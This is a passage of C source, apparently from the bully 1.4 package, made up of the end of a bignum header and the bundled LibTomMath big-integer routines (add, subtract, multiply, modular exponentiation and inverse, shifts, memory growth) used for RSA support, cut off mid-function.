#define BIGNUM_H
struct bignum;
struct bignum * bignum_init(void);
void bignum_deinit(struct bignum *n);
size_t bignum_get_unsigned_bin_len(struct bignum *n);
int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len);
int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len);
int bignum_cmp(const struct bignum *a, const struct bignum *b);
int bignum_cmp_d(const struct bignum *a, unsigned long b);
int bignum_add(const struct bignum *a, const struct bignum *b,
struct bignum *c);
int bignum_sub(const struct bignum *a, const struct bignum *b,
struct bignum *c);
int bignum_mul(const struct bignum *a, const struct bignum *b,
struct bignum *c);
int bignum_mulmod(const struct bignum *a, const struct bignum *b,
const struct bignum *c, struct bignum *d);
int bignum_exptmod(const struct bignum *a, const struct bignum *b,
const struct bignum *c, struct bignum *d);
#endif /* BIGNUM_H */
bully-1.4-00/src/tls/libtommath.c 0000775 0000000 0000000 00000227710 13615304636 0016642 0 ustar 00root root 0000000 0000000 /*
* Minimal code for RSA support from LibTomMath 0.41
* http://libtom.org/
* http://libtom.org/files/ltm-0.41.tar.bz2
* This library was released in public domain by Tom St Denis.
*
* The combination in this file may not use all of the optimized algorithms
* from LibTomMath and may be considerable slower than the LibTomMath with its
* default settings. The main purpose of having this version here is to make it
* easier to build bignum.c wrapper without having to install and build an
* external library.
*
* If CONFIG_INTERNAL_LIBTOMMATH is defined, bignum.c includes this
* libtommath.c file instead of using the external LibTomMath library.
*/
#ifndef CHAR_BIT
#define CHAR_BIT 8
#endif
#define BN_MP_INVMOD_C
#define BN_S_MP_EXPTMOD_C /* Note: #undef in tommath_superclass.h; this would
* require BN_MP_EXPTMOD_FAST_C instead */
#define BN_S_MP_MUL_DIGS_C
#define BN_MP_INVMOD_SLOW_C
#define BN_S_MP_SQR_C
#define BN_S_MP_MUL_HIGH_DIGS_C /* Note: #undef in tommath_superclass.h; this
* would require other than mp_reduce */
#ifdef LTM_FAST
/* Use faster div at the cost of about 1 kB */
#define BN_MP_MUL_D_C
/* Include faster exptmod (Montgomery) at the cost of about 2.5 kB in code */
#define BN_MP_EXPTMOD_FAST_C
#define BN_MP_MONTGOMERY_SETUP_C
#define BN_FAST_MP_MONTGOMERY_REDUCE_C
#define BN_MP_MONTGOMERY_CALC_NORMALIZATION_C
#define BN_MP_MUL_2_C
/* Include faster sqr at the cost of about 0.5 kB in code */
#define BN_FAST_S_MP_SQR_C
#else /* LTM_FAST */
#define BN_MP_DIV_SMALL
#define BN_MP_INIT_MULTI_C
#define BN_MP_CLEAR_MULTI_C
#define BN_MP_ABS_C
#endif /* LTM_FAST */
/* Current uses do not require support for negative exponent in exptmod, so we
* can save about 1.5 kB in leaving out invmod. */
#define LTM_NO_NEG_EXP
/* from tommath.h */
#ifndef MIN
#define MIN(x,y) ((x)<(y)?(x):(y))
#endif
#ifndef MAX
#define MAX(x,y) ((x)>(y)?(x):(y))
#endif
#define OPT_CAST(x)
typedef unsigned long mp_digit;
typedef u64 mp_word;
#define DIGIT_BIT 28
#define MP_28BIT
#define XMALLOC os_malloc
#define XFREE os_free
#define XREALLOC os_realloc
#define MP_MASK ((((mp_digit)1)<<((mp_digit)DIGIT_BIT))-((mp_digit)1))
#define MP_LT -1 /* less than */
#define MP_EQ 0 /* equal to */
#define MP_GT 1 /* greater than */
#define MP_ZPOS 0 /* positive integer */
#define MP_NEG 1 /* negative */
#define MP_OKAY 0 /* ok result */
#define MP_MEM -2 /* out of mem */
#define MP_VAL -3 /* invalid input */
#define MP_YES 1 /* yes response */
#define MP_NO 0 /* no response */
typedef int mp_err;
/* define this to use lower memory usage routines (exptmods mostly) */
#define MP_LOW_MEM
/* default precision */
#ifndef MP_PREC
#ifndef MP_LOW_MEM
#define MP_PREC 32 /* default digits of precision */
#else
#define MP_PREC 8 /* default digits of precision */
#endif
#endif
/* size of comba arrays, should be at least 2 * 2**(BITS_PER_WORD - BITS_PER_DIGIT*2) */
#define MP_WARRAY (1 << (sizeof(mp_word) * CHAR_BIT - 2 * DIGIT_BIT + 1))
/* the infamous mp_int structure */
typedef struct {
int used, alloc, sign;
mp_digit *dp;
} mp_int;
/* ---> Basic Manipulations <--- */
#define mp_iszero(a) (((a)->used == 0) ? MP_YES : MP_NO)
#define mp_iseven(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 0)) ? MP_YES : MP_NO)
#define mp_isodd(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 1)) ? MP_YES : MP_NO)
/* prototypes for copied functions */
#define s_mp_mul(a, b, c) s_mp_mul_digs(a, b, c, (a)->used + (b)->used + 1)
static int s_mp_exptmod(mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode);
static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs);
static int s_mp_sqr(mp_int * a, mp_int * b);
static int s_mp_mul_high_digs(mp_int * a, mp_int * b, mp_int * c, int digs);
static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs);
#ifdef BN_MP_INIT_MULTI_C
static int mp_init_multi(mp_int *mp, ...);
#endif
#ifdef BN_MP_CLEAR_MULTI_C
static void mp_clear_multi(mp_int *mp, ...);
#endif
static int mp_lshd(mp_int * a, int b);
static void mp_set(mp_int * a, mp_digit b);
static void mp_clamp(mp_int * a);
static void mp_exch(mp_int * a, mp_int * b);
static void mp_rshd(mp_int * a, int b);
static void mp_zero(mp_int * a);
static int mp_mod_2d(mp_int * a, int b, mp_int * c);
static int mp_div_2d(mp_int * a, int b, mp_int * c, mp_int * d);
static int mp_init_copy(mp_int * a, mp_int * b);
static int mp_mul_2d(mp_int * a, int b, mp_int * c);
#ifndef LTM_NO_NEG_EXP
static int mp_div_2(mp_int * a, mp_int * b);
static int mp_invmod(mp_int * a, mp_int * b, mp_int * c);
static int mp_invmod_slow(mp_int * a, mp_int * b, mp_int * c);
#endif /* LTM_NO_NEG_EXP */
static int mp_copy(mp_int * a, mp_int * b);
static int mp_count_bits(mp_int * a);
static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d);
static int mp_mod(mp_int * a, mp_int * b, mp_int * c);
static int mp_grow(mp_int * a, int size);
static int mp_cmp_mag(mp_int * a, mp_int * b);
#ifdef BN_MP_ABS_C
static int mp_abs(mp_int * a, mp_int * b);
#endif
static int mp_sqr(mp_int * a, mp_int * b);
static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d);
static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d);
static int mp_2expt(mp_int * a, int b);
static int mp_reduce_setup(mp_int * a, mp_int * b);
static int mp_reduce(mp_int * x, mp_int * m, mp_int * mu);
static int mp_init_size(mp_int * a, int size);
#ifdef BN_MP_EXPTMOD_FAST_C
static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode);
#endif /* BN_MP_EXPTMOD_FAST_C */
#ifdef BN_FAST_S_MP_SQR_C
static int fast_s_mp_sqr (mp_int * a, mp_int * b);
#endif /* BN_FAST_S_MP_SQR_C */
#ifdef BN_MP_MUL_D_C
static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c);
#endif /* BN_MP_MUL_D_C */
/* functions from bn_.c */
/* reverse an array, used for radix code */
static void bn_reverse (unsigned char *s, int len)
{
int ix, iy;
unsigned char t;
ix = 0;
iy = len - 1;
while (ix < iy) {
t = s[ix];
s[ix] = s[iy];
s[iy] = t;
++ix;
--iy;
}
}
/* low level addition, based on HAC pp.594, Algorithm 14.7 */
static int s_mp_add (mp_int * a, mp_int * b, mp_int * c)
{
mp_int *x;
int olduse, res, min, max;
/* find sizes, we let |a| <= |b| which means we have to sort
* them. "x" will point to the input with the most digits
*/
if (a->used > b->used) {
min = b->used;
max = a->used;
x = a;
} else {
min = a->used;
max = b->used;
x = b;
}
/* init result */
if (c->alloc < max + 1) {
if ((res = mp_grow (c, max + 1)) != MP_OKAY) {
return res;
}
}
/* get old used digit count and set new one */
olduse = c->used;
c->used = max + 1;
{
register mp_digit u, *tmpa, *tmpb, *tmpc;
register int i;
/* alias for digit pointers */
/* first input */
tmpa = a->dp;
/* second input */
tmpb = b->dp;
/* destination */
tmpc = c->dp;
/* zero the carry */
u = 0;
for (i = 0; i < min; i++) {
/* Compute the sum at one digit, T[i] = A[i] + B[i] + U */
*tmpc = *tmpa++ + *tmpb++ + u;
/* U = carry bit of T[i] */
u = *tmpc >> ((mp_digit)DIGIT_BIT);
/* take away carry bit from T[i] */
*tmpc++ &= MP_MASK;
}
/* now copy higher words if any, that is in A+B
* if A or B has more digits add those in
*/
if (min != max) {
for (; i < max; i++) {
/* T[i] = X[i] + U */
*tmpc = x->dp[i] + u;
/* U = carry bit of T[i] */
u = *tmpc >> ((mp_digit)DIGIT_BIT);
/* take away carry bit from T[i] */
*tmpc++ &= MP_MASK;
}
}
/* add carry */
*tmpc++ = u;
/* clear digits above oldused */
for (i = c->used; i < olduse; i++) {
*tmpc++ = 0;
}
}
mp_clamp (c);
return MP_OKAY;
}
/* low level subtraction (assumes |a| > |b|), HAC pp.595 Algorithm 14.9 */
static int s_mp_sub (mp_int * a, mp_int * b, mp_int * c)
{
int olduse, res, min, max;
/* find sizes */
min = b->used;
max = a->used;
/* init result */
if (c->alloc < max) {
if ((res = mp_grow (c, max)) != MP_OKAY) {
return res;
}
}
olduse = c->used;
c->used = max;
{
register mp_digit u, *tmpa, *tmpb, *tmpc;
register int i;
/* alias for digit pointers */
tmpa = a->dp;
tmpb = b->dp;
tmpc = c->dp;
/* set carry to zero */
u = 0;
for (i = 0; i < min; i++) {
/* T[i] = A[i] - B[i] - U */
*tmpc = *tmpa++ - *tmpb++ - u;
/* U = carry bit of T[i]
* Note this saves performing an AND operation since
* if a carry does occur it will propagate all the way to the
* MSB. As a result a single shift is enough to get the carry
*/
u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1));
/* Clear carry from T[i] */
*tmpc++ &= MP_MASK;
}
/* now copy higher words if any, e.g. if A has more digits than B */
for (; i < max; i++) {
/* T[i] = A[i] - U */
*tmpc = *tmpa++ - u;
/* U = carry bit of T[i] */
u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1));
/* Clear carry from T[i] */
*tmpc++ &= MP_MASK;
}
/* clear digits above used (since we may not have grown result above) */
for (i = c->used; i < olduse; i++) {
*tmpc++ = 0;
}
}
mp_clamp (c);
return MP_OKAY;
}
/* init a new mp_int */
static int mp_init (mp_int * a)
{
int i;
/* allocate memory required and clear it */
a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * MP_PREC);
if (a->dp == NULL) {
return MP_MEM;
}
/* set the digits to zero */
for (i = 0; i < MP_PREC; i++) {
a->dp[i] = 0;
}
/* set the used to zero, allocated digits to the default precision
* and sign to positive */
a->used = 0;
a->alloc = MP_PREC;
a->sign = MP_ZPOS;
return MP_OKAY;
}
/* clear one (frees) */
static void mp_clear (mp_int * a)
{
int i;
/* only do anything if a hasn't been freed previously */
if (a->dp != NULL) {
/* first zero the digits */
for (i = 0; i < a->used; i++) {
a->dp[i] = 0;
}
/* free ram */
XFREE(a->dp);
/* reset members to make debugging easier */
a->dp = NULL;
a->alloc = a->used = 0;
a->sign = MP_ZPOS;
}
}
/* high level addition (handles signs) */
static int mp_add (mp_int * a, mp_int * b, mp_int * c)
{
int sa, sb, res;
/* get sign of both inputs */
sa = a->sign;
sb = b->sign;
/* handle two cases, not four */
if (sa == sb) {
/* both positive or both negative */
/* add their magnitudes, copy the sign */
c->sign = sa;
res = s_mp_add (a, b, c);
} else {
/* one positive, the other negative */
/* subtract the one with the greater magnitude from */
/* the one of the lesser magnitude. The result gets */
/* the sign of the one with the greater magnitude. */
if (mp_cmp_mag (a, b) == MP_LT) {
c->sign = sb;
res = s_mp_sub (b, a, c);
} else {
c->sign = sa;
res = s_mp_sub (a, b, c);
}
}
return res;
}
/* high level subtraction (handles signs) */
static int mp_sub (mp_int * a, mp_int * b, mp_int * c)
{
int sa, sb, res;
sa = a->sign;
sb = b->sign;
if (sa != sb) {
/* subtract a negative from a positive, OR */
/* subtract a positive from a negative. */
/* In either case, ADD their magnitudes, */
/* and use the sign of the first number. */
c->sign = sa;
res = s_mp_add (a, b, c);
} else {
/* subtract a positive from a positive, OR */
/* subtract a negative from a negative. */
/* First, take the difference between their */
/* magnitudes, then... */
if (mp_cmp_mag (a, b) != MP_LT) {
/* Copy the sign from the first */
c->sign = sa;
/* The first has a larger or equal magnitude */
res = s_mp_sub (a, b, c);
} else {
/* The result has the *opposite* sign from */
/* the first number. */
c->sign = (sa == MP_ZPOS) ? MP_NEG : MP_ZPOS;
/* The second has a larger magnitude */
res = s_mp_sub (b, a, c);
}
}
return res;
}
/* high level multiplication (handles sign) */
static int mp_mul (mp_int * a, mp_int * b, mp_int * c)
{
int res, neg;
neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG;
/* use Toom-Cook? */
#ifdef BN_MP_TOOM_MUL_C
if (MIN (a->used, b->used) >= TOOM_MUL_CUTOFF) {
res = mp_toom_mul(a, b, c);
} else
#endif
#ifdef BN_MP_KARATSUBA_MUL_C
/* use Karatsuba? */
if (MIN (a->used, b->used) >= KARATSUBA_MUL_CUTOFF) {
res = mp_karatsuba_mul (a, b, c);
} else
#endif
{
/* can we use the fast multiplier?
*
* The fast multiplier can be used if the output will
* have less than MP_WARRAY digits and the number of
* digits won't affect carry propagation
*/
#ifdef BN_FAST_S_MP_MUL_DIGS_C
int digs = a->used + b->used + 1;
if ((digs < MP_WARRAY) &&
MIN(a->used, b->used) <=
(1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) {
res = fast_s_mp_mul_digs (a, b, c, digs);
} else
#endif
#ifdef BN_S_MP_MUL_DIGS_C
res = s_mp_mul (a, b, c); /* uses s_mp_mul_digs */
#else
#error mp_mul could fail
res = MP_VAL;
#endif
}
c->sign = (c->used > 0) ? neg : MP_ZPOS;
return res;
}
/* d = a * b (mod c) */
static int mp_mulmod (mp_int * a, mp_int * b, mp_int * c, mp_int * d)
{
int res;
mp_int t;
if ((res = mp_init (&t)) != MP_OKAY) {
return res;
}
if ((res = mp_mul (a, b, &t)) != MP_OKAY) {
mp_clear (&t);
return res;
}
res = mp_mod (&t, c, d);
mp_clear (&t);
return res;
}
/* c = a mod b, 0 <= c < b */
static int mp_mod (mp_int * a, mp_int * b, mp_int * c)
{
mp_int t;
int res;
if ((res = mp_init (&t)) != MP_OKAY) {
return res;
}
if ((res = mp_div (a, b, NULL, &t)) != MP_OKAY) {
mp_clear (&t);
return res;
}
if (t.sign != b->sign) {
res = mp_add (b, &t, c);
} else {
res = MP_OKAY;
mp_exch (&t, c);
}
mp_clear (&t);
return res;
}
/* this is a shell function that calls either the normal or Montgomery
* exptmod functions. Originally the call to the montgomery code was
* embedded in the normal function but that wasted alot of stack space
* for nothing (since 99% of the time the Montgomery code would be called)
*/
static int mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y)
{
int dr;
/* modulus P must be positive */
if (P->sign == MP_NEG) {
return MP_VAL;
}
/* if exponent X is negative we have to recurse */
if (X->sign == MP_NEG) {
#ifdef LTM_NO_NEG_EXP
return MP_VAL;
#else /* LTM_NO_NEG_EXP */
#ifdef BN_MP_INVMOD_C
mp_int tmpG, tmpX;
int err;
/* first compute 1/G mod P */
if ((err = mp_init(&tmpG)) != MP_OKAY) {
return err;
}
if ((err = mp_invmod(G, P, &tmpG)) != MP_OKAY) {
mp_clear(&tmpG);
return err;
}
/* now get |X| */
if ((err = mp_init(&tmpX)) != MP_OKAY) {
mp_clear(&tmpG);
return err;
}
if ((err = mp_abs(X, &tmpX)) != MP_OKAY) {
mp_clear_multi(&tmpG, &tmpX, NULL);
return err;
}
/* and now compute (1/G)**|X| instead of G**X [X < 0] */
err = mp_exptmod(&tmpG, &tmpX, P, Y);
mp_clear_multi(&tmpG, &tmpX, NULL);
return err;
#else
#error mp_exptmod would always fail
/* no invmod */
return MP_VAL;
#endif
#endif /* LTM_NO_NEG_EXP */
}
/* modified diminished radix reduction */
#if defined(BN_MP_REDUCE_IS_2K_L_C) && defined(BN_MP_REDUCE_2K_L_C) && defined(BN_S_MP_EXPTMOD_C)
if (mp_reduce_is_2k_l(P) == MP_YES) {
return s_mp_exptmod(G, X, P, Y, 1);
}
#endif
#ifdef BN_MP_DR_IS_MODULUS_C
/* is it a DR modulus? */
dr = mp_dr_is_modulus(P);
#else
/* default to no */
dr = 0;
#endif
#ifdef BN_MP_REDUCE_IS_2K_C
/* if not, is it a unrestricted DR modulus? */
if (dr == 0) {
dr = mp_reduce_is_2k(P) << 1;
}
#endif
/* if the modulus is odd or dr != 0 use the montgomery method */
#ifdef BN_MP_EXPTMOD_FAST_C
if (mp_isodd (P) == 1 || dr != 0) {
return mp_exptmod_fast (G, X, P, Y, dr);
} else {
#endif
#ifdef BN_S_MP_EXPTMOD_C
/* otherwise use the generic Barrett reduction technique */
return s_mp_exptmod (G, X, P, Y, 0);
#else
#error mp_exptmod could fail
/* no exptmod for evens */
return MP_VAL;
#endif
#ifdef BN_MP_EXPTMOD_FAST_C
}
#endif
}
/* compare two ints (signed)*/
static int mp_cmp (mp_int * a, mp_int * b)
{
/* compare based on sign */
if (a->sign != b->sign) {
if (a->sign == MP_NEG) {
return MP_LT;
} else {
return MP_GT;
}
}
/* compare digits */
if (a->sign == MP_NEG) {
/* if negative compare opposite direction */
return mp_cmp_mag(b, a);
} else {
return mp_cmp_mag(a, b);
}
}
/* compare a digit */
static int mp_cmp_d(mp_int * a, mp_digit b)
{
/* compare based on sign */
if (a->sign == MP_NEG) {
return MP_LT;
}
/* compare based on magnitude */
if (a->used > 1) {
return MP_GT;
}
/* compare the only digit of a to b */
if (a->dp[0] > b) {
return MP_GT;
} else if (a->dp[0] < b) {
return MP_LT;
} else {
return MP_EQ;
}
}
#ifndef LTM_NO_NEG_EXP
/* hac 14.61, pp608 */
static int mp_invmod (mp_int * a, mp_int * b, mp_int * c)
{
/* b cannot be negative */
if (b->sign == MP_NEG || mp_iszero(b) == 1) {
return MP_VAL;
}
#ifdef BN_FAST_MP_INVMOD_C
/* if the modulus is odd we can use a faster routine instead */
if (mp_isodd (b) == 1) {
return fast_mp_invmod (a, b, c);
}
#endif
#ifdef BN_MP_INVMOD_SLOW_C
return mp_invmod_slow(a, b, c);
#endif
#ifndef BN_FAST_MP_INVMOD_C
#ifndef BN_MP_INVMOD_SLOW_C
#error mp_invmod would always fail
#endif
#endif
return MP_VAL;
}
#endif /* LTM_NO_NEG_EXP */
/* get the size for an unsigned equivalent */
static int mp_unsigned_bin_size (mp_int * a)
{
int size = mp_count_bits (a);
return (size / 8 + ((size & 7) != 0 ? 1 : 0));
}
#ifndef LTM_NO_NEG_EXP
/* hac 14.61, pp608 */
static int mp_invmod_slow (mp_int * a, mp_int * b, mp_int * c)
{
mp_int x, y, u, v, A, B, C, D;
int res;
/* b cannot be negative */
if (b->sign == MP_NEG || mp_iszero(b) == 1) {
return MP_VAL;
}
/* init temps */
if ((res = mp_init_multi(&x, &y, &u, &v,
&A, &B, &C, &D, NULL)) != MP_OKAY) {
return res;
}
/* x = a, y = b */
if ((res = mp_mod(a, b, &x)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_copy (b, &y)) != MP_OKAY) {
goto LBL_ERR;
}
/* 2. [modified] if x,y are both even then return an error! */
if (mp_iseven (&x) == 1 && mp_iseven (&y) == 1) {
res = MP_VAL;
goto LBL_ERR;
}
/* 3. u=x, v=y, A=1, B=0, C=0,D=1 */
if ((res = mp_copy (&x, &u)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_copy (&y, &v)) != MP_OKAY) {
goto LBL_ERR;
}
mp_set (&A, 1);
mp_set (&D, 1);
top:
/* 4. while u is even do */
while (mp_iseven (&u) == 1) {
/* 4.1 u = u/2 */
if ((res = mp_div_2 (&u, &u)) != MP_OKAY) {
goto LBL_ERR;
}
/* 4.2 if A or B is odd then */
if (mp_isodd (&A) == 1 || mp_isodd (&B) == 1) {
/* A = (A+y)/2, B = (B-x)/2 */
if ((res = mp_add (&A, &y, &A)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_sub (&B, &x, &B)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* A = A/2, B = B/2 */
if ((res = mp_div_2 (&A, &A)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_div_2 (&B, &B)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* 5. while v is even do */
while (mp_iseven (&v) == 1) {
/* 5.1 v = v/2 */
if ((res = mp_div_2 (&v, &v)) != MP_OKAY) {
goto LBL_ERR;
}
/* 5.2 if C or D is odd then */
if (mp_isodd (&C) == 1 || mp_isodd (&D) == 1) {
/* C = (C+y)/2, D = (D-x)/2 */
if ((res = mp_add (&C, &y, &C)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_sub (&D, &x, &D)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* C = C/2, D = D/2 */
if ((res = mp_div_2 (&C, &C)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_div_2 (&D, &D)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* 6. if u >= v then */
if (mp_cmp (&u, &v) != MP_LT) {
/* u = u - v, A = A - C, B = B - D */
if ((res = mp_sub (&u, &v, &u)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_sub (&A, &C, &A)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_sub (&B, &D, &B)) != MP_OKAY) {
goto LBL_ERR;
}
} else {
/* v - v - u, C = C - A, D = D - B */
if ((res = mp_sub (&v, &u, &v)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_sub (&C, &A, &C)) != MP_OKAY) {
goto LBL_ERR;
}
if ((res = mp_sub (&D, &B, &D)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* if not zero goto step 4 */
if (mp_iszero (&u) == 0)
goto top;
/* now a = C, b = D, gcd == g*v */
/* if v != 1 then there is no inverse */
if (mp_cmp_d (&v, 1) != MP_EQ) {
res = MP_VAL;
goto LBL_ERR;
}
/* if its too low */
while (mp_cmp_d(&C, 0) == MP_LT) {
if ((res = mp_add(&C, b, &C)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* too big */
while (mp_cmp_mag(&C, b) != MP_LT) {
if ((res = mp_sub(&C, b, &C)) != MP_OKAY) {
goto LBL_ERR;
}
}
/* C is now the inverse */
mp_exch (&C, c);
res = MP_OKAY;
LBL_ERR:mp_clear_multi (&x, &y, &u, &v, &A, &B, &C, &D, NULL);
return res;
}
#endif /* LTM_NO_NEG_EXP */
/* compare maginitude of two ints (unsigned) */
static int mp_cmp_mag (mp_int * a, mp_int * b)
{
int n;
mp_digit *tmpa, *tmpb;
/* compare based on # of non-zero digits */
if (a->used > b->used) {
return MP_GT;
}
if (a->used < b->used) {
return MP_LT;
}
/* alias for a */
tmpa = a->dp + (a->used - 1);
/* alias for b */
tmpb = b->dp + (a->used - 1);
/* compare based on digits */
for (n = 0; n < a->used; ++n, --tmpa, --tmpb) {
if (*tmpa > *tmpb) {
return MP_GT;
}
if (*tmpa < *tmpb) {
return MP_LT;
}
}
return MP_EQ;
}
/* reads a unsigned char array, assumes the msb is stored first [big endian] */
static int mp_read_unsigned_bin (mp_int * a, const unsigned char *b, int c)
{
int res;
/* make sure there are at least two digits */
if (a->alloc < 2) {
if ((res = mp_grow(a, 2)) != MP_OKAY) {
return res;
}
}
/* zero the int */
mp_zero (a);
/* read the bytes in */
while (c-- > 0) {
if ((res = mp_mul_2d (a, 8, a)) != MP_OKAY) {
return res;
}
#ifndef MP_8BIT
a->dp[0] |= *b++;
a->used += 1;
#else
a->dp[0] = (*b & MP_MASK);
a->dp[1] |= ((*b++ >> 7U) & 1);
a->used += 2;
#endif
}
mp_clamp (a);
return MP_OKAY;
}
/* store in unsigned [big endian] format */
static int mp_to_unsigned_bin (mp_int * a, unsigned char *b)
{
int x, res;
mp_int t;
if ((res = mp_init_copy (&t, a)) != MP_OKAY) {
return res;
}
x = 0;
while (mp_iszero (&t) == 0) {
#ifndef MP_8BIT
b[x++] = (unsigned char) (t.dp[0] & 255);
#else
b[x++] = (unsigned char) (t.dp[0] | ((t.dp[1] & 0x01) << 7));
#endif
if ((res = mp_div_2d (&t, 8, &t, NULL)) != MP_OKAY) {
mp_clear (&t);
return res;
}
}
bn_reverse (b, x);
mp_clear (&t);
return MP_OKAY;
}
/* shift right by a certain bit count (store quotient in c, optional remainder in d) */
static int mp_div_2d (mp_int * a, int b, mp_int * c, mp_int * d)
{
mp_digit D, r, rr;
int x, res;
mp_int t;
/* if the shift count is <= 0 then we do no work */
if (b <= 0) {
res = mp_copy (a, c);
if (d != NULL) {
mp_zero (d);
}
return res;
}
if ((res = mp_init (&t)) != MP_OKAY) {
return res;
}
/* get the remainder */
if (d != NULL) {
if ((res = mp_mod_2d (a, b, &t)) != MP_OKAY) {
mp_clear (&t);
return res;
}
}
/* copy */
if ((res = mp_copy (a, c)) != MP_OKAY) {
mp_clear (&t);
return res;
}
/* shift by as many digits in the bit count */
if (b >= (int)DIGIT_BIT) {
mp_rshd (c, b / DIGIT_BIT);
}
/* shift any bit count < DIGIT_BIT */
D = (mp_digit) (b % DIGIT_BIT);
if (D != 0) {
register mp_digit *tmpc, mask, shift;
/* mask */
mask = (((mp_digit)1) << D) - 1;
/* shift for lsb */
shift = DIGIT_BIT - D;
/* alias */
tmpc = c->dp + (c->used - 1);
/* carry */
r = 0;
for (x = c->used - 1; x >= 0; x--) {
/* get the lower bits of this word in a temp */
rr = *tmpc & mask;
/* shift the current word and mix in the carry bits from the previous word */
*tmpc = (*tmpc >> D) | (r << shift);
--tmpc;
/* set the carry to the carry bits of the current word found above */
r = rr;
}
}
mp_clamp (c);
if (d != NULL) {
mp_exch (&t, d);
}
mp_clear (&t);
return MP_OKAY;
}
static int mp_init_copy (mp_int * a, mp_int * b)
{
int res;
if ((res = mp_init (a)) != MP_OKAY) {
return res;
}
return mp_copy (b, a);
}
/* set to zero */
static void mp_zero (mp_int * a)
{
int n;
mp_digit *tmp;
a->sign = MP_ZPOS;
a->used = 0;
tmp = a->dp;
for (n = 0; n < a->alloc; n++) {
*tmp++ = 0;
}
}
/* copy, b = a */
static int mp_copy (mp_int * a, mp_int * b)
{
int res, n;
/* if dst == src do nothing */
if (a == b) {
return MP_OKAY;
}
/* grow dest */
if (b->alloc < a->used) {
if ((res = mp_grow (b, a->used)) != MP_OKAY) {
return res;
}
}
/* zero b and copy the parameters over */
{
register mp_digit *tmpa, *tmpb;
/* pointer aliases */
/* source */
tmpa = a->dp;
/* destination */
tmpb = b->dp;
/* copy all the digits */
for (n = 0; n < a->used; n++) {
*tmpb++ = *tmpa++;
}
/* clear high digits */
for (; n < b->used; n++) {
*tmpb++ = 0;
}
}
/* copy used count and sign */
b->used = a->used;
b->sign = a->sign;
return MP_OKAY;
}
/* shift right a certain amount of digits */
static void mp_rshd (mp_int * a, int b)
{
int x;
/* if b <= 0 then ignore it */
if (b <= 0) {
return;
}
/* if b > used then simply zero it and return */
if (a->used <= b) {
mp_zero (a);
return;
}
{
register mp_digit *bottom, *top;
/* shift the digits down */
/* bottom */
bottom = a->dp;
/* top [offset into digits] */
top = a->dp + b;
/* this is implemented as a sliding window where
* the window is b-digits long and digits from
* the top of the window are copied to the bottom
*
* e.g.
b-2 | b-1 | b0 | b1 | b2 | ... | bb | ---->
/\ | ---->
\-------------------/ ---->
*/
for (x = 0; x < (a->used - b); x++) {
*bottom++ = *top++;
}
/* zero the top digits */
for (; x < a->used; x++) {
*bottom++ = 0;
}
}
/* remove excess digits */
a->used -= b;
}
/* swap the elements of two integers, for cases where you can't simply swap the
* mp_int pointers around
*/
static void mp_exch (mp_int * a, mp_int * b)
{
mp_int t;
t = *a;
*a = *b;
*b = t;
}
/* trim unused digits
*
* This is used to ensure that leading zero digits are
* trimed and the leading "used" digit will be non-zero
* Typically very fast. Also fixes the sign if there
* are no more leading digits
*/
static void mp_clamp (mp_int * a)
{
/* decrease used while the most significant digit is
* zero.
*/
while (a->used > 0 && a->dp[a->used - 1] == 0) {
--(a->used);
}
/* reset the sign flag if used == 0 */
if (a->used == 0) {
a->sign = MP_ZPOS;
}
}
/* grow as required */
static int mp_grow (mp_int * a, int size)
{
int i;
mp_digit *tmp;
/* if the alloc size is smaller alloc more ram */
if (a->alloc < size) {
/* ensure there are always at least MP_PREC digits extra on top */
size += (MP_PREC * 2) - (size % MP_PREC);
/* reallocate the array a->dp
*
* We store the return in a temporary variable
* in case the operation failed we don't want
* to overwrite the dp member of a.
*/
tmp = OPT_CAST(mp_digit) XREALLOC (a->dp, sizeof (mp_digit) * size);
if (tmp == NULL) {
/* reallocation failed but "a" is still valid [can be freed] */
return MP_MEM;
}
/* reallocation succeeded so set a->dp */
a->dp = tmp;
/* zero excess digits */
i = a->alloc;
a->alloc = size;
for (; i < a->alloc; i++) {
a->dp[i] = 0;
}
}
return MP_OKAY;
}
#ifdef BN_MP_ABS_C
/* b = |a|
*
* Simple function copies the input and fixes the sign to positive
*/
static int mp_abs (mp_int * a, mp_int * b)
{
int res;
/* copy a to b */
if (a != b) {
if ((res = mp_copy (a, b)) != MP_OKAY) {
return res;
}
}
/* force the sign of b to positive */
b->sign = MP_ZPOS;
return MP_OKAY;
}
#endif
/* set to a digit */
static void mp_set (mp_int * a, mp_digit b)
{
mp_zero (a);
a->dp[0] = b & MP_MASK;
a->used = (a->dp[0] != 0) ? 1 : 0;
}
#ifndef LTM_NO_NEG_EXP
/* b = a/2 */
static int mp_div_2(mp_int * a, mp_int * b)
{
